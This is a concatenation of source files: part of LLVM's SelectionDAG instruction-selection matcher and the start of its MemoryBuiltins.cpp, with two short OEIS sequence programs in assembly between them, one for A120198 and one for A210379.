ChainNodesMatched.push_back(RecordedNodes[RecNo].first.getNode()); // FIXME: What if other value results of the node have uses not matched // by this pattern? if (ChainNodesMatched.back() != NodeToMatch && !RecordedNodes[RecNo].first.hasOneUse()) { ChainNodesMatched.clear(); break; } } // If the inner loop broke out, the match fails. if (ChainNodesMatched.empty()) break; // Merge the input chains if they are not intra-pattern references. InputChain = HandleMergeInputChains(ChainNodesMatched, CurDAG); if (!InputChain.getNode()) break; // Failed to merge. continue; } case OPC_EmitCopyToReg: case OPC_EmitCopyToReg2: { unsigned RecNo = MatcherTable[MatcherIndex++]; assert(RecNo < RecordedNodes.size() && "Invalid EmitCopyToReg"); unsigned DestPhysReg = MatcherTable[MatcherIndex++]; if (Opcode == OPC_EmitCopyToReg2) DestPhysReg |= MatcherTable[MatcherIndex++] << 8; if (!InputChain.getNode()) InputChain = CurDAG->getEntryNode(); InputChain = CurDAG->getCopyToReg(InputChain, SDLoc(NodeToMatch), DestPhysReg, RecordedNodes[RecNo].first, InputGlue); InputGlue = InputChain.getValue(1); continue; } case OPC_EmitNodeXForm: { unsigned XFormNo = MatcherTable[MatcherIndex++]; unsigned RecNo = MatcherTable[MatcherIndex++]; assert(RecNo < RecordedNodes.size() && "Invalid EmitNodeXForm"); SDValue Res = RunSDNodeXForm(RecordedNodes[RecNo].first, XFormNo); RecordedNodes.push_back(std::pair<SDValue,SDNode*>(Res, nullptr)); continue; } case OPC_Coverage: { // This is emitted right before MorphNode/EmitNode. // So it should be safe to assume that this node has been selected unsigned index = MatcherTable[MatcherIndex++]; index |= (MatcherTable[MatcherIndex++] << 8); dbgs() << "COVERED: " << getPatternForIndex(index) << "\n"; dbgs() << "INCLUDED: " << getIncludePathForIndex(index) << "\n"; continue; } case OPC_EmitNode: case OPC_MorphNodeTo: case OPC_EmitNode0: case OPC_EmitNode1: case OPC_EmitNode2: case OPC_MorphNodeTo0: case OPC_MorphNodeTo1: case OPC_MorphNodeTo2: { uint16_t TargetOpc = MatcherTable[MatcherIndex++]; TargetOpc |= (unsigned short)MatcherTable[MatcherIndex++] << 8; unsigned EmitNodeInfo = MatcherTable[MatcherIndex++]; // Get the result VT list. unsigned NumVTs; // If this is one of the compressed forms, get the number of VTs based // on the Opcode. Otherwise read the next byte from the table. if (Opcode >= OPC_MorphNodeTo0 && Opcode <= OPC_MorphNodeTo2) NumVTs = Opcode - OPC_MorphNodeTo0; else if (Opcode >= OPC_EmitNode0 && Opcode <= OPC_EmitNode2) NumVTs = Opcode - OPC_EmitNode0; else NumVTs = MatcherTable[MatcherIndex++]; SmallVector<EVT, 4> VTs; for (unsigned i = 0; i != NumVTs; ++i) { MVT::SimpleValueType VT = (MVT::SimpleValueType)MatcherTable[MatcherIndex++]; if (VT == MVT::iPTR) VT = TLI->getPointerTy(CurDAG->getDataLayout()).SimpleTy; VTs.push_back(VT); } if (EmitNodeInfo & OPFL_Chain) VTs.push_back(MVT::Other); if (EmitNodeInfo & OPFL_GlueOutput) VTs.push_back(MVT::Glue); // This is hot code, so optimize the two most common cases of 1 and 2 // results. SDVTList VTList; if (VTs.size() == 1) VTList = CurDAG->getVTList(VTs[0]); else if (VTs.size() == 2) VTList = CurDAG->getVTList(VTs[0], VTs[1]); else VTList = CurDAG->getVTList(VTs); // Get the operand list. unsigned NumOps = MatcherTable[MatcherIndex++]; SmallVector<SDValue, 8> Ops; for (unsigned i = 0; i != NumOps; ++i) { unsigned RecNo = MatcherTable[MatcherIndex++]; if (RecNo & 128) RecNo = GetVBR(RecNo, MatcherTable, MatcherIndex); assert(RecNo < RecordedNodes.size() && "Invalid EmitNode"); Ops.push_back(RecordedNodes[RecNo].first); } // If there are variadic operands to add, handle them now. if (EmitNodeInfo & OPFL_VariadicInfo) { // Determine the start index to copy from. unsigned FirstOpToCopy = getNumFixedFromVariadicInfo(EmitNodeInfo); FirstOpToCopy += (EmitNodeInfo & OPFL_Chain) ? 1 : 0; assert(NodeToMatch->getNumOperands() >= FirstOpToCopy && "Invalid variadic node"); // Copy all of the variadic operands, not including a potential glue // input. for (unsigned i = FirstOpToCopy, e = NodeToMatch->getNumOperands(); i != e; ++i) { SDValue V = NodeToMatch->getOperand(i); if (V.getValueType() == MVT::Glue) break; Ops.push_back(V); } } // If this has chain/glue inputs, add them. if (EmitNodeInfo & OPFL_Chain) Ops.push_back(InputChain); if ((EmitNodeInfo & OPFL_GlueInput) && InputGlue.getNode() != nullptr) Ops.push_back(InputGlue); // Check whether any matched node could raise an FP exception. Since all // such nodes must have a chain, it suffices to check ChainNodesMatched. // We need to perform this check before potentially modifying one of the // nodes via MorphNode. bool MayRaiseFPException = false; for (auto *N : ChainNodesMatched) if (mayRaiseFPException(N) && !N->getFlags().hasNoFPExcept()) { MayRaiseFPException = true; break; } // Create the node. MachineSDNode *Res = nullptr; bool IsMorphNodeTo = Opcode == OPC_MorphNodeTo || (Opcode >= OPC_MorphNodeTo0 && Opcode <= OPC_MorphNodeTo2); if (!IsMorphNodeTo) { // If this is a normal EmitNode command, just create the new node and // add the results to the RecordedNodes list. Res = CurDAG->getMachineNode(TargetOpc, SDLoc(NodeToMatch), VTList, Ops); // Add all the non-glue/non-chain results to the RecordedNodes list. for (unsigned i = 0, e = VTs.size(); i != e; ++i) { if (VTs[i] == MVT::Other || VTs[i] == MVT::Glue) break; RecordedNodes.push_back(std::pair<SDValue,SDNode*>(SDValue(Res, i), nullptr)); } } else { assert(NodeToMatch->getOpcode() != ISD::DELETED_NODE && "NodeToMatch was removed partway through selection"); SelectionDAG::DAGNodeDeletedListener NDL(*CurDAG, [&](SDNode *N, SDNode *E) { CurDAG->salvageDebugInfo(*N); auto &Chain = ChainNodesMatched; assert((!E || !is_contained(Chain, N)) && "Chain node replaced during MorphNode"); Chain.erase(std::remove(Chain.begin(), Chain.end(), N), Chain.end()); }); Res = cast<MachineSDNode>(MorphNode(NodeToMatch, TargetOpc, VTList, Ops, EmitNodeInfo)); } // Set the NoFPExcept flag when no original matched node could // raise an FP exception, but the new node potentially might. if (!MayRaiseFPException && mayRaiseFPException(Res)) { SDNodeFlags Flags = Res->getFlags(); Flags.setNoFPExcept(true); Res->setFlags(Flags); } // If the node had chain/glue results, update our notion of the current // chain and glue. if (EmitNodeInfo & OPFL_GlueOutput) { InputGlue = SDValue(Res, VTs.size()-1); if (EmitNodeInfo & OPFL_Chain) InputChain = SDValue(Res, VTs.size()-2); } else if (EmitNodeInfo & OPFL_Chain) InputChain = SDValue(Res, VTs.size()-1); // If the OPFL_MemRefs glue is set on this node, slap all of the // accumulated memrefs onto it. // // FIXME: This is vastly incorrect for patterns with multiple outputs // instructions that access memory and for ComplexPatterns that match // loads. if (EmitNodeInfo & OPFL_MemRefs) { // Only attach load or store memory operands if the generated // instruction may load or store. const MCInstrDesc &MCID = TII->get(TargetOpc); bool mayLoad = MCID.mayLoad(); bool mayStore = MCID.mayStore(); // We expect to have relatively few of these so just filter them into a // temporary buffer so that we can easily add them to the instruction. SmallVector<MachineMemOperand *, 4> FilteredMemRefs; for (MachineMemOperand *MMO : MatchedMemRefs) { if (MMO->isLoad()) { if (mayLoad) FilteredMemRefs.push_back(MMO); } else if (MMO->isStore()) { if (mayStore) FilteredMemRefs.push_back(MMO); } else { FilteredMemRefs.push_back(MMO); } } CurDAG->setNodeMemRefs(Res, FilteredMemRefs); } LLVM_DEBUG(if (!MatchedMemRefs.empty() && Res->memoperands_empty()) dbgs() << " Dropping mem operands\n"; dbgs() << " " << (IsMorphNodeTo ? "Morphed" : "Created") << " node: "; Res->dump(CurDAG);); // If this was a MorphNodeTo then we're completely done! if (IsMorphNodeTo) { // Update chain uses. UpdateChains(Res, InputChain, ChainNodesMatched, true); return; } continue; } case OPC_CompleteMatch: { // The match has been completed, and any new nodes (if any) have been // created. Patch up references to the matched dag to use the newly // created nodes. unsigned NumResults = MatcherTable[MatcherIndex++]; for (unsigned i = 0; i != NumResults; ++i) { unsigned ResSlot = MatcherTable[MatcherIndex++]; if (ResSlot & 128) ResSlot = GetVBR(ResSlot, MatcherTable, MatcherIndex); assert(ResSlot < RecordedNodes.size() && "Invalid CompleteMatch"); SDValue Res = RecordedNodes[ResSlot].first; assert(i < NodeToMatch->getNumValues() && NodeToMatch->getValueType(i) != MVT::Other && NodeToMatch->getValueType(i) != MVT::Glue && "Invalid number of results to complete!"); assert((NodeToMatch->getValueType(i) == Res.getValueType() || NodeToMatch->getValueType(i) == MVT::iPTR || Res.getValueType() == MVT::iPTR || NodeToMatch->getValueType(i).getSizeInBits() == Res.getValueSizeInBits()) && "invalid replacement"); ReplaceUses(SDValue(NodeToMatch, i), Res); } // Update chain uses. UpdateChains(NodeToMatch, InputChain, ChainNodesMatched, false); // If the root node defines glue, we need to update it to the glue result. // TODO: This never happens in our tests and I think it can be removed / // replaced with an assert, but if we do it this the way the change is // NFC. if (NodeToMatch->getValueType(NodeToMatch->getNumValues() - 1) == MVT::Glue && InputGlue.getNode()) ReplaceUses(SDValue(NodeToMatch, NodeToMatch->getNumValues() - 1), InputGlue); assert(NodeToMatch->use_empty() && "Didn't replace all uses of the node?"); CurDAG->RemoveDeadNode(NodeToMatch); return; } } // If the code reached this point, then the match failed. See if there is // another child to try in the current 'Scope', otherwise pop it until we // find a case to check. LLVM_DEBUG(dbgs() << " Match failed at index " << CurrentOpcodeIndex << "\n"); ++NumDAGIselRetries; while (true) { if (MatchScopes.empty()) { CannotYetSelect(NodeToMatch); return; } // Restore the interpreter state back to the point where the scope was // formed. MatchScope &LastScope = MatchScopes.back(); RecordedNodes.resize(LastScope.NumRecordedNodes); NodeStack.clear(); NodeStack.append(LastScope.NodeStack.begin(), LastScope.NodeStack.end()); N = NodeStack.back(); if (LastScope.NumMatchedMemRefs != MatchedMemRefs.size()) MatchedMemRefs.resize(LastScope.NumMatchedMemRefs); MatcherIndex = LastScope.FailIndex; LLVM_DEBUG(dbgs() << " Continuing at " << MatcherIndex << "\n"); InputChain = LastScope.InputChain; InputGlue = LastScope.InputGlue; if (!LastScope.HasChainNodesMatched) ChainNodesMatched.clear(); // Check to see what the offset is at the new MatcherIndex. If it is zero // we have reached the end of this scope, otherwise we have another child // in the current scope to try. unsigned NumToSkip = MatcherTable[MatcherIndex++]; if (NumToSkip & 128) NumToSkip = GetVBR(NumToSkip, MatcherTable, MatcherIndex); // If we have another child in this scope to match, update FailIndex and // try it. if (NumToSkip != 0) { LastScope.FailIndex = MatcherIndex+NumToSkip; break; } // End of this scope, pop it and try the next child in the containing // scope. MatchScopes.pop_back(); } } } /// Return whether the node may raise an FP exception. bool SelectionDAGISel::mayRaiseFPException(SDNode *N) const { // For machine opcodes, consult the MCID flag. if (N->isMachineOpcode()) { const MCInstrDesc &MCID = TII->get(N->getMachineOpcode()); return MCID.mayRaiseFPException(); } // For ISD opcodes, only StrictFP opcodes may raise an FP // exception. if (N->isTargetOpcode()) return N->isTargetStrictFPOpcode(); return N->isStrictFPOpcode(); } bool SelectionDAGISel::isOrEquivalentToAdd(const SDNode *N) const { assert(N->getOpcode() == ISD::OR && "Unexpected opcode"); auto *C = dyn_cast<ConstantSDNode>(N->getOperand(1)); if (!C) return false; // Detect when "or" is used to add an offset to a stack object. if (auto *FN = dyn_cast<FrameIndexSDNode>(N->getOperand(0))) { MachineFrameInfo &MFI = MF->getFrameInfo(); Align A = MFI.getObjectAlign(FN->getIndex()); int32_t Off = C->getSExtValue(); // If the alleged offset fits in the zero bits guaranteed by // the alignment, then this or is really an add. return (Off >= 0) && (((A.value() - 1) & Off) == unsigned(Off)); } return false; } void SelectionDAGISel::CannotYetSelect(SDNode *N) { std::string msg; raw_string_ostream Msg(msg); Msg << "Cannot select: "; if (N->getOpcode() != ISD::INTRINSIC_W_CHAIN && N->getOpcode() != ISD::INTRINSIC_WO_CHAIN && N->getOpcode() != ISD::INTRINSIC_VOID) { N->printrFull(Msg, CurDAG); Msg << "\nIn function: " << MF->getName(); } else { bool HasInputChain = N->getOperand(0).getValueType() == MVT::Other; unsigned iid = cast<ConstantSDNode>(N->getOperand(HasInputChain))->getZExtValue(); if (iid < Intrinsic::num_intrinsics) Msg << "intrinsic %" << Intrinsic::getName((Intrinsic::ID)iid, None); else if (const TargetIntrinsicInfo *TII = TM.getIntrinsicInfo()) Msg << "target intrinsic %" << TII->getName(iid); else Msg << "unknown intrinsic #" << iid; } report_fatal_error(Msg.str()); } char SelectionDAGISel::ID = 0;
; A120198: a(1)=5; a(n)=floor((44+sum(a(1) to a(n-1)))/8). ; 5,6,6,7,8,9,10,11,13,14,16,18,20,23,26,29,33,37,41,47,52,59,66,75,84,94,106,119,134,151,170,191,215,242,272,306,344,387,436,490 mov $2,2 mov $7,$0 lpb $2,1 mov $0,$7 sub $2,1 add $0,$2 mov $5,0 lpb $0,1 sub $0,1 mov $4,$5 add $5,4 div $5,8 add $5,5 add $5,$4 lpe mov $3,$2 mov $6,$5 lpb $3,1 mov $1,$6 sub $3,1 lpe lpe lpb $7,1 sub $1,$6 mov $7,0 lpe
; A210379: Number of 2 X 2 matrices with all terms in {0,1,...,n} and odd trace. ; 0,8,36,128,300,648,1176,2048,3240,5000,7260,10368,14196,19208,25200,32768,41616,52488,64980,80000,97020,117128,139656,165888,195000,228488,265356,307328,353220,405000,461280,524288,592416,668168,749700,839808,936396,1042568,1155960,1280000,1412040,1555848,1708476,1874048,2049300,2238728,2438736,2654208,2881200,3125000,3381300,3655808,3943836,4251528,4573800,4917248,5276376,5658248,6056940,6480000,6921060,7388168,7874496,8388608,8923200,9487368,10073316,10690688,11331180,12005000,12703320 add $0,1 pow $0,2 mov $2,$0 div $2,2 mul $0,$2
//===- MemoryBuiltins.cpp - Identify calls to memory builtins -------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This family of functions identifies calls to builtin functions that allocate // or free memory. // //===----------------------------------------------------------------------===// #include "llvm/Analysis/MemoryBuiltins.h" #include "llvm/ADT/APInt.h" #include "llvm/ADT/None.h" #include "llvm/ADT/Optional.h" #include "llvm/ADT/STLExtras.h" #include "llvm/ADT/Statistic.h" #include "llvm/ADT/StringRef.h" #include "llvm/Analysis/TargetFolder.h" #include "llvm/Analysis/TargetLibraryInfo.h" #include "llvm/Analysis/Utils/Local.h" #include "llvm/Analysis/ValueTracking.h" #include "llvm/IR/Argument.h" #include "llvm/IR/Attributes.h" #include "llvm/IR/Constants.h" #include "llvm/IR/DataLayout.h" #include "llvm/IR/DerivedTypes.h" #include "llvm/IR/Function.h" #include "llvm/IR/GlobalAlias.h" #include "llvm/IR/GlobalVariable.h" #include "llvm/IR/Instruction.h" #include "llvm/IR/Instructions.h" #include "llvm/IR/IntrinsicInst.h" #include "llvm/IR/Operator.h" #include "llvm/IR/Type.h" #include "llvm/IR/Value.h" #include "llvm/Support/Casting.h" #include "llvm/Support/Debug.h" #include "llvm/Support/MathExtras.h" #include "llvm/Support/raw_ostream.h" #include <cassert> #include <cstdint> #include <iterator> #include <utility> using namespace llvm; #define DEBUG_TYPE "memory-builtins" enum AllocType : uint8_t { OpNewLike = 1<<0, // allocates; never returns null MallocLike = 1<<1 | OpNewLike, // allocates; may return null CallocLike = 1<<2, // allocates + bzero ReallocLike = 1<<3, // reallocates StrDupLike = 1<<4, MallocOrCallocLike = MallocLike | CallocLike, AllocLike = MallocLike | CallocLike | StrDupLike, AnyAlloc = AllocLike | ReallocLike }; struct AllocFnsTy { AllocType AllocTy; unsigned NumParams; // First and Second size parameters (or -1 if unused) int FstParam, SndParam; }; // FIXME: certain users need more information. E.g., SimplifyLibCalls needs to // know which functions are nounwind, noalias, nocapture parameters, etc. static const std::pair<LibFunc, AllocFnsTy> AllocationFnData[] = { {LibFunc_malloc, {MallocLike, 1, 0, -1}}, {LibFunc_valloc, {MallocLike, 1, 0, -1}}, {LibFunc_Znwj, {OpNewLike, 1, 0, -1}}, // new(unsigned int) {LibFunc_ZnwjRKSt9nothrow_t, {MallocLike, 2, 0, -1}}, // new(unsigned int, nothrow) {LibFunc_ZnwjSt11align_val_t, {OpNewLike, 2, 0, -1}}, // new(unsigned int, align_val_t) {LibFunc_ZnwjSt11align_val_tRKSt9nothrow_t, // new(unsigned int, align_val_t, nothrow) {MallocLike, 3, 0, -1}}, {LibFunc_Znwm, {OpNewLike, 1, 0, -1}}, // new(unsigned long) {LibFunc_ZnwmRKSt9nothrow_t, {MallocLike, 2, 0, -1}}, // new(unsigned long, nothrow) {LibFunc_ZnwmSt11align_val_t, {OpNewLike, 2, 0, -1}}, // new(unsigned long, align_val_t) {LibFunc_ZnwmSt11align_val_tRKSt9nothrow_t, // new(unsigned long, align_val_t, nothrow) {MallocLike, 3, 0, -1}}, {LibFunc_Znaj, {OpNewLike, 1, 0, -1}}, // new[](unsigned int) {LibFunc_ZnajRKSt9nothrow_t, {MallocLike, 2, 0, -1}}, // new[](unsigned int, nothrow) {LibFunc_ZnajSt11align_val_t, {OpNewLike, 2, 0, -1}}, // new[](unsigned int, align_val_t) {LibFunc_ZnajSt11align_val_tRKSt9nothrow_t, // new[](unsigned int, align_val_t, nothrow) {MallocLike, 3, 0, -1}}, {LibFunc_Znam, {OpNewLike, 1, 0, -1}}, // new[](unsigned long) {LibFunc_ZnamRKSt9nothrow_t, {MallocLike, 2, 0, -1}}, // new[](unsigned long, nothrow) {LibFunc_ZnamSt11align_val_t, {OpNewLike, 2, 0, -1}}, // new[](unsigned long, align_val_t) {LibFunc_ZnamSt11align_val_tRKSt9nothrow_t, // new[](unsigned long, align_val_t, nothrow) {MallocLike, 3, 0, -1}}, {LibFunc_msvc_new_int, {OpNewLike, 1, 0, -1}}, // new(unsigned int) {LibFunc_msvc_new_int_nothrow, {MallocLike, 2, 0, -1}}, // new(unsigned int, nothrow) {LibFunc_msvc_new_longlong, {OpNewLike, 1, 0, -1}}, // new(unsigned long long) {LibFunc_msvc_new_longlong_nothrow, {MallocLike, 2, 0, -1}}, // new(unsigned long long, nothrow) {LibFunc_msvc_new_array_int, {OpNewLike, 1, 0, -1}}, // new[](unsigned int) {LibFunc_msvc_new_array_int_nothrow, {MallocLike, 2, 0, -1}}, // new[](unsigned int, nothrow) {LibFunc_msvc_new_array_longlong, {OpNewLike, 1, 0, -1}}, // new[](unsigned long long) {LibFunc_msvc_new_array_longlong_nothrow, {MallocLike, 2, 0, -1}}, // new[](unsigned long long, nothrow) {LibFunc_calloc, {CallocLike, 2, 0, 1}}, {LibFunc_realloc, {ReallocLike, 2, 1, -1}}, {LibFunc_reallocf, {ReallocLike, 2, 1, -1}}, {LibFunc_strdup, {StrDupLike, 1, -1, -1}}, {LibFunc_strndup, {StrDupLike, 2, 1, -1}} // TODO: Handle "int posix_memalign(void **, size_t, size_t)" }; static const Function *getCalledFunction(const Value *V, bool LookThroughBitCast, bool &IsNoBuiltin) { // Don't care about intrinsics in this case. if (isa<IntrinsicInst>(V)) return nullptr; if (LookThroughBitCast) V = V->stripPointerCasts(); ImmutableCallSite CS(V); if (!CS.getInstruction()) return nullptr; IsNoBuiltin = CS.isNoBuiltin(); if (const Function *Callee = CS.getCalledFunction()) return Callee; return nullptr; } /// Returns the allocation data for the given value if it's either a call to a /// known allocation function, or a call to a function with the allocsize /// attribute. static Optional<AllocFnsTy> getAllocationDataForFunction(const Function *Callee, AllocType AllocTy, const TargetLibraryInfo *TLI) { // Make sure that the function is available. StringRef FnName = Callee->getName(); LibFunc TLIFn; if (!TLI || !TLI->getLibFunc(FnName, TLIFn) || !TLI->has(TLIFn)) return None; const auto *Iter = find_if( AllocationFnData, [TLIFn](const std::pair<LibFunc, AllocFnsTy> &P) { return P.first == TLIFn; }); if (Iter == std::end(AllocationFnData)) return None; const AllocFnsTy *FnData = &Iter->second; if ((FnData->AllocTy & AllocTy) != FnData->AllocTy) return None; // Check function prototype. int FstParam = FnData->FstParam; int SndParam = FnData->SndParam; FunctionType *FTy = Callee->getFunctionType(); if (FTy->getReturnType() == Type::getInt8PtrTy(FTy->getContext()) && FTy->getNumParams() == FnData->NumParams && (FstParam < 0 || (FTy->getParamType(FstParam)->isIntegerTy(32) || FTy->getParamType(FstParam)->isIntegerTy(64))) && (SndParam < 0 || FTy->getParamType(SndParam)->isIntegerTy(32) || FTy->getParamType(SndParam)->isIntegerTy(64))) return *FnData; return None; } static Optional<AllocFnsTy> getAllocationData(const Value *V, AllocType AllocTy, const TargetLibraryInfo *TLI, bool LookThroughBitCast = false) { bool IsNoBuiltinCall; if (const Function *Callee = getCalledFunction(V, LookThroughBitCast, IsNoBuiltinCall)) if (!IsNoBuiltinCall) return getAllocationDataForFunction(Callee, AllocTy, TLI); return None; } static Optional<AllocFnsTy> getAllocationSize(const Value *V, const TargetLibraryInfo *TLI) { bool IsNoBuiltinCall; const Function *Callee = getCalledFunction(V, /*LookThroughBitCast=*/false, IsNoBuiltinCall); if (!Callee) return None; // Prefer to use existing information over allocsize. This will give us an // accurate AllocTy. if (!IsNoBuiltinCall) if (Optional<AllocFnsTy> Data = getAllocationDataForFunction(Callee, AnyAlloc, TLI)) return Data; Attribute Attr = Callee->getFnAttribute(Attribute::AllocSize); if (Attr == Attribute()) return None; std::pair<unsigned, Optional<unsigned>> Args = Attr.getAllocSizeArgs(); AllocFnsTy Result; // Because allocsize only tells us how many bytes are allocated, we're not // really allowed to assume anything, so we use MallocLike. Result.AllocTy = MallocLike; Result.NumParams = Callee->getNumOperands(); Result.FstParam = Args.first; Result.SndParam = Args.second.getValueOr(-1); return Result; } static bool hasNoAliasAttr(const Value *V, bool LookThroughBitCast) { ImmutableCallSite CS(LookThroughBitCast ? V->stripPointerCasts() : V); return CS && CS.hasRetAttr(Attribute::NoAlias); } /// Tests if a value is a call or invoke to a library function that /// allocates or reallocates memory (either malloc, calloc, realloc, or strdup /// like). bool llvm::isAllocationFn(const Value *V, const TargetLibraryInfo *TLI, bool LookThroughBitCast) { return getAllocationData(V, AnyAlloc, TLI, LookThroughBitCast).hasValue(); } /// Tests if a value is a call or invoke to a function that returns a /// NoAlias pointer (including malloc/calloc/realloc/strdup-like functions). bool llvm::isNoAliasFn(const Value *V, const TargetLibraryInfo *TLI, bool LookThroughBitCast) { // it's safe to consider realloc as noalias since accessing the original // pointer is undefined behavior return isAllocationFn(V, TLI, LookThroughBitCast) || hasNoAliasAttr(V, LookThroughBitCast); } /// Tests if a value is a call or invoke to a library function that /// allocates uninitialized memory (such as malloc). bool llvm::isMallocLikeFn(const Value *V, const TargetLibraryInfo *TLI, bool LookThroughBitCast) { return getAllocationData(V, MallocLike, TLI, LookThroughBitCast).hasValue(); } /// Tests if a value is a call or invoke to a library function that /// allocates zero-filled memory (such as calloc). bool llvm::isCallocLikeFn(const Value *V, const TargetLibraryInfo *TLI, bool LookThroughBitCast) { return getAllocationData(V, CallocLike, TLI, LookThroughBitCast).hasValue(); } /// Tests if a value is a call or invoke to a library function that /// allocates memory similar to malloc or calloc. bool llvm::isMallocOrCallocLikeFn(const Value *V, const TargetLibraryInfo *TLI, bool LookThroughBitCast) { return getAllocationData(V, MallocOrCallocLike, TLI, LookThroughBitCast).hasValue(); } /// Tests if a value is a call or invoke to a library function that /// allocates memory (either malloc, calloc, or strdup like). bool llvm::isAllocLikeFn(const Value *V, const TargetLibraryInfo *TLI, bool LookThroughBitCast) { return getAllocationData(V, AllocLike, TLI, LookThroughBitCast).hasValue(); } /// extractMallocCall - Returns the corresponding CallInst if the instruction /// is a malloc call. Since CallInst::CreateMalloc() only creates calls, we /// ignore InvokeInst here. const CallInst *llvm::extractMallocCall(const Value *I, const TargetLibraryInfo *TLI) { return isMallocLikeFn(I, TLI) ? dyn_cast<CallInst>(I) : nullptr; } static Value *computeArraySize(const CallInst *CI, const DataLayout &DL, const TargetLibraryInfo *TLI, bool LookThroughSExt = false) { if (!CI) return nullptr; // The size of the malloc's result type must be known to determine array size. Type *T = getMallocAllocatedType(CI, TLI); if (!T || !T->isSized()) return nullptr; unsigned ElementSize = DL.getTypeAllocSize(T); if (StructType *ST = dyn_cast<StructType>(T)) ElementSize = DL.getStructLayout(ST)->getSizeInBytes(); // If malloc call's arg can be determined to be a multiple of ElementSize, // return the multiple. Otherwise, return NULL. Value *MallocArg = CI->getArgOperand(0); Value *Multiple = nullptr; if (ComputeMultiple(MallocArg, ElementSize, Multiple, LookThroughSExt)) return Multiple; return nullptr; } /// getMallocType - Returns the PointerType resulting from the malloc call. /// The PointerType depends on the number of bitcast uses of the malloc call: /// 0: PointerType is the calls' return type. /// 1: PointerType is the bitcast's result type. /// >1: Unique PointerType cannot be determined, return NULL. PointerType *llvm::getMallocType(const CallInst *CI, const TargetLibraryInfo *TLI) { assert(isMallocLikeFn(CI, TLI) && "getMallocType and not malloc call"); PointerType *MallocType = nullptr; unsigned NumOfBitCastUses = 0; // Determine if CallInst has a bitcast use. for (Value::const_user_iterator UI = CI->user_begin(), E = CI->user_end(); UI != E;) if (const BitCastInst *BCI = dyn_cast<BitCastInst>(*UI++)) { MallocType = cast<PointerType>(BCI->getDestTy()); NumOfBitCastUses++; } // Malloc call has 1 bitcast use, so type is the bitcast's destination type. if (NumOfBitCastUses == 1) return MallocType; // Malloc call was not bitcast, so type is the malloc function's return type. if (NumOfBitCastUses == 0) return cast<PointerType>(CI->getType()); // Type could not be determined. return nullptr; } /// getMallocAllocatedType - Returns the Type allocated by malloc call. /// The Type depends on the number of bitcast uses of the malloc call: /// 0: PointerType is the malloc calls' return type. /// 1: PointerType is the bitcast's result type. /// >1: Unique PointerType cannot be determined, return NULL. Type *llvm::getMallocAllocatedType(const CallInst *CI, const TargetLibraryInfo *TLI) { PointerType *PT = getMallocType(CI, TLI); return PT ? PT->getElementType() : nullptr; } /// getMallocArraySize - Returns the array size of a malloc call. If the /// argument passed to malloc is a multiple of the size of the malloced type, /// then return that multiple. For non-array mallocs, the multiple is /// constant 1. Otherwise, return NULL for mallocs whose array size cannot be /// determined. Value *llvm::getMallocArraySize(CallInst *CI, const DataLayout &DL, const TargetLibraryInfo *TLI, bool LookThroughSExt) { assert(isMallocLikeFn(CI, TLI) && "getMallocArraySize and not malloc call"); return computeArraySize(CI, DL, TLI, LookThroughSExt); } /// extractCallocCall - Returns the corresponding CallInst if the instruction /// is a calloc call. const CallInst *llvm::extractCallocCall(const Value *I, const TargetLibraryInfo *TLI) { return isCallocLikeFn(I, TLI) ? cast<CallInst>(I) : nullptr; } /// isFreeCall - Returns non-null if the value is a call to the builtin free() const CallInst *llvm::isFreeCall(const Value *I, const TargetLibraryInfo *TLI) { bool IsNoBuiltinCall; const Function *Callee = getCalledFunction(I, /*LookThroughBitCast=*/false, IsNoBuiltinCall); if (Callee == nullptr || IsNoBuiltinCall) return nullptr; StringRef FnName = Callee->getName(); LibFunc TLIFn; if (!TLI || !TLI->getLibFunc(FnName, TLIFn) || !TLI->has(TLIFn)) return nullptr; unsigned ExpectedNumParams; if (TLIFn == LibFunc_free || TLIFn == LibFunc_ZdlPv || // operator delete(void*) TLIFn == LibFunc_ZdaPv || // operator delete[](void*) TLIFn == LibFunc_msvc_delete_ptr32 || // operator delete(void*) TLIFn == LibFunc_msvc_delete_ptr64 || // operator delete(void*) TLIFn == LibFunc_msvc_delete_array_ptr32 || // operator delete[](void*) TLIFn == LibFunc_msvc_delete_array_ptr64) // operator delete[](void*) ExpectedNumParams = 1; else if (TLIFn == LibFunc_ZdlPvj || // delete(void*, uint) TLIFn == LibFunc_ZdlPvm || // delete(void*, ulong) TLIFn == LibFunc_ZdlPvRKSt9nothrow_t || // delete(void*, nothrow) TLIFn == LibFunc_ZdlPvSt11align_val_t || // delete(void*, align_val_t) TLIFn == LibFunc_ZdaPvj || // delete[](void*, uint) TLIFn == LibFunc_ZdaPvm || // delete[](void*, ulong) TLIFn == LibFunc_ZdaPvRKSt9nothrow_t || // delete[](void*, nothrow) TLIFn == LibFunc_ZdaPvSt11align_val_t || // delete[](void*, align_val_t) TLIFn == LibFunc_msvc_delete_ptr32_int || // delete(void*, uint) TLIFn == LibFunc_msvc_delete_ptr64_longlong || // delete(void*, ulonglong) TLIFn == LibFunc_msvc_delete_ptr32_nothrow || // delete(void*, nothrow) TLIFn == LibFunc_msvc_delete_ptr64_nothrow || // delete(void*, nothrow) TLIFn == LibFunc_msvc_delete_array_ptr32_int || // delete[](void*, uint) TLIFn == LibFunc_msvc_delete_array_ptr64_longlong || // delete[](void*, ulonglong) TLIFn == LibFunc_msvc_delete_array_ptr32_nothrow || // delete[](void*, nothrow) TLIFn == LibFunc_msvc_delete_array_ptr64_nothrow) // delete[](void*, nothrow) ExpectedNumParams = 2; else if (TLIFn == LibFunc_ZdaPvSt11align_val_tRKSt9nothrow_t || // delete(void*, align_val_t, nothrow) TLIFn == LibFunc_ZdlPvSt11align_val_tRKSt9nothrow_t) // delete[](void*, align_val_t, nothrow) ExpectedNumParams = 3; else return nullptr; // Check free prototype. // FIXME: workaround for PR5130, this will be obsolete when a nobuiltin // attribute will exist. FunctionType *FTy = Callee->getFunctionType(); if (!FTy->getReturnType()->isVoidTy()) return nullptr; if (FTy->getNumParams() != ExpectedNumParams) return nullptr; if (FTy->getParamType(0) != Type::getInt8PtrTy(Callee->getContext())) return nullptr; return dyn_cast<CallInst>(I); } //===----------------------------------------------------------------------===// // Utility functions to compute size of objects. // static APInt getSizeWithOverflow(const SizeOffsetType &Data) { if (Data.second.isNegative() || Data.first.ult(Data.second)) return APInt(Data.first.getBitWidth(), 0); return Data.first - Data.second; } /// Compute the size of the object pointed by Ptr. Returns true and the /// object size in Size if successful, and false otherwise. /// If RoundToAlign is true, then Size is rounded up to the alignment of /// allocas, byval arguments, and global variables. bool 